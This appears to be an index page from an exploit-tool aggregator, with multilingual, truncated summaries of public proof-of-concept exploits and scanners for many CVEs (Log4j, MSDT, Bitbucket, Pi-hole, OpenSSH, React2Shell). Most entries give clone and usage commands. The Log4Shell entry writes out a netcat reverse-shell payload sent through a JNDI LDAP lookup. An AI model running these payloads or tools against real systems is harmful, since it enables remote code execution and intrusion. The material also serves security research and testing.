CVE-2022-30190

CVE-2022-30190 - Microsoft Support Diagnostic Tool Über Dieses Skript versucht, ein Microsoft Office-Dokument zu erstellen, das remote Code ausführt. Einrichtung root@kitploit: git clone https://github.com/joshuavanderpoll/CVE-2022-30190.git cd CVE-2022-30190 python3 CVE-2022-30190.py --help...

CVE-2021-40444-POC

CVE-2021-40444-POC Ein Versuch, die Microsoft MSHTML Remote Code Execution RCE Schwachstelle mit dem Metasploit Framework nachzubilden. funktioniert am besten, wenn nicht in FlareVM ausgeführt VORBEREITUNG Klonen Sie das Repository von https://github.com/lockedbyte/CVE-2021-40444 Bereiten Sie die...

CVE-2019-5475-Nexus-Repository-Manager-

CVE-2019-5475-Nexus-Repository-Manager- Payload root@kitploit: PUT /nexus/service/siesta/capabilities/xxxxxxxxx HTTP/1.1 Host: xxxx.xxxx.com User-Agent: Accept: application/json,application/vnd.siesta-error-v1+json,application/vnd.siesta-validation-errors-v1+json Accept-Language:...

CVE-2022-36804-PoC-Exploit

CVE-2022-36804-PoC-Exploit Un exploit PoC abbastanza affidabile per CVE-2022-36804 Critical Command Injection in BitBucket. Questo attacco generalmente richiede che i repository pubblici siano abilitati, tuttavia i cookie di sessione sono anch'essi compatibili con questo exploit. Nota: questo...

log4jshell_CVE-2021-44228

log4jshellCVE-2021-44228 Log4jshell - CVE-2021-44228 Netcat nc IP Pubblico Porta -e /bin/sh Converti in Base64 bmMgMy4xMD.....wMyA4ODg4IC1lIC9iaW4vc2g= Payload curl Sito Target -H "X-Forwarded-Host: $jndi:ldap://IP ReverseShell:Porta/Basic/Command/Base64/Payload in base64 Prova di concetto Log4j...

CVE-2023-27163-POC

CVE-2023-27163 È stato scoperto che Request-baskets fino alla v1.2.1 contiene una Server-Side Request Forgery SSRF tramite il componente /api/baskets/name. Questa vulnerabilità consente agli attaccanti di accedere a risorse di rete e informazioni sensibili tramite una richiesta API modificata...

CVE-2021-44228-Apache-Log4j-Rce

Verwendung: 1. RMIServer ausführen 2. Main ausführen...

CVE-2021-44228-log4jVulnScanner-metasploit

CVE-2021-44228-log4jVulnScanner-metasploit Log4J RCE CVE-2021-44228 कमजोरी का पता लगाने और फ़ज़िंग करने के लिए खुला डिटेक्शन और स्कैनिंग टूल तैयारी POC root@kitploit: git clone https://github.com/TaroballzChen/CVE-2021-44228-log4jVulnScanner-metasploit cd CVE-2021-44228-log4jVulnScanner-metasploi...

CVE-2025-55182

CVE-2025-55182 React2Shell Exploit-Kit 🎯 Vollständige funktionierende Exploit-Demonstration Dieses Projekt bietet eine voll funktionsfähige Demonstration von CVE-2025-55182 React2Shell – einer kritischen Sicherheitslücke zur Remote-Codeausführung in React Server Components und Next.js. Status: ✅...

ore_react2shell_scanner

Rapticore Security Research - Scanner React2Shell Un toolkit di valutazione della sicurezza sviluppato dal Team di Ricerca sulla Sicurezza di Rapticore per rilevare vulnerabilità dei React Server Components RSC, inclusa CVE-2025-55182 React2Shell, una vulnerabilità critica di esecuzione remota di...

CVE-2024-34102

Cosmic Sting: Exploit CVE-2024-34102 Cosmic Sting è un tool basato su Go progettato per sfruttare CVE-2024-34102, una vulnerabilità di Remote Code Execution. Dettagli CVE-2024-34102 Le versioni di Adobe Commerce 2.4.7, 2.4.6-p5, 2.4.5-p7, 2.4.4-p8 e precedenti sono affette da una vulnerabilità di...

parquet-canary-exploit-rce-poc-CVE-2025-30065

Canary-Exploit für Parquet CVE-2025-30065 root@kitploit: -. '-. OO OO .-----,--/ ,. ,------. .-----. .----. .-----..------. .-----. .----. .----. ,--. .------. ' .--.\ \ //| .---' .-'/ ,-. / .. / ,-. | | .-' / -. / .. \ / .. \ / .' | | | |'-.\ \ / / | | OO'-' | . / \ '-' | | '--. OO'-' ' . / ...

IOFireWireFamily-overflow

IOFireWireFamily-overflow IOFireWireFamily-overflow ist ein Proof-of-Concept-Exploit für CVE-2016-7608, einen Pufferüberlauf in IOFireWireUserClient, der in macOS Sierra 10.12.2 behoben wurde. Diese Sicherheitslücke kann ausgelöst werden, um einen Denial-of-Service oder möglicherweise die...

CVE-2022-40127-Airflow-RCE

Apache Airflow Una vulnerabilità negli Example Dags di Apache Airflow consente a un attaccante con accesso all'interfaccia utente, che può attivare i DAG, di eseguire comandi arbitrari tramite il parametro runid fornito manualmente. Questo problema interessa le versioni di Apache Airflow preceden...

CVE-2019-12725-Command-Injection

POC CVE-2019-12725-Esecuzione-di-Comandi-Remoti ZeroShell 3.9.0 Iniezione di Comandi Remoti Zeroshell 3.9.0 è soggetto a una vulnerabilità di esecuzione di comandi remoti. Nello specifico, il problema si verifica perché l'applicazione web gestisce in modo errato alcuni parametri HTTP. Un utente...

CVE-2024-38856-Apache-OFBiz

CVE-2024-38856 — Apache OFBiz Documentazione del repository Scopo del repository: documentazione informativa su CVE-2024-38856 autorizzazione non corretta / RCE pre-autenticazione di Apache OFBiz. Questo repository non contiene codice di exploit weaponizzato. È destinato esclusivamente a ricerca...

CVE-2020-8816

CVE-2020-8816 Pi-hole Esecuzione di codice remoto autenticata Versione = 4.3.2 Utilizzo python3 CVE-2020-8816.py -u http://10.10.10.10 -i 10.10.14.172 -p 1337 -pass admin Esempio Ulteriori informazioni https://natedotred.wordpress.com/2020/03/28/cve-2020-8816-pi-hole-remote-code-execution/...

CVE-2023-25136

CVE-2023-25136 OpenSSH 9.1 Schwachstellen-Massenscan und Exploit Beschreibung OpenSSH-Server sshd 9.1 führte eine Double-Free-Schwachstelle bei der Verarbeitung von options.kexalgorithms ein. Dies wurde in OpenSSH 9.2 behoben. Der Double-Free kann von einem nicht authentifizierten Remote-Angreife...

CVE-2021-25003

CVE-2021-25003 root@kitploit: Title: WPCargo 6.9.0 - Unauthenticated RCE Author: Krzysztof Zając https://kazet.cc/ CVE: CVE-2021-25003 Installazione root@kitploit: git clone https://github.com/biulove0x/CVE-2021-25003.git cd CVE-2021-25003/ python3 -m pip install -r requirements.txt Come eseguire...

PSForgot2kEyXCHANGE

PSForgot2kEyXCHANGE PoC per Forgot2kEyXCHANGE CVE-2020-0688 scritto in PowerShell Utilizzo Questo PoC richiede un nome utente e una password validi. Questo PoC utilizza ysoserial.net per creare il nuovo ViewState che contiene il comando specificato nel parametro -Command. Se non lo hai già...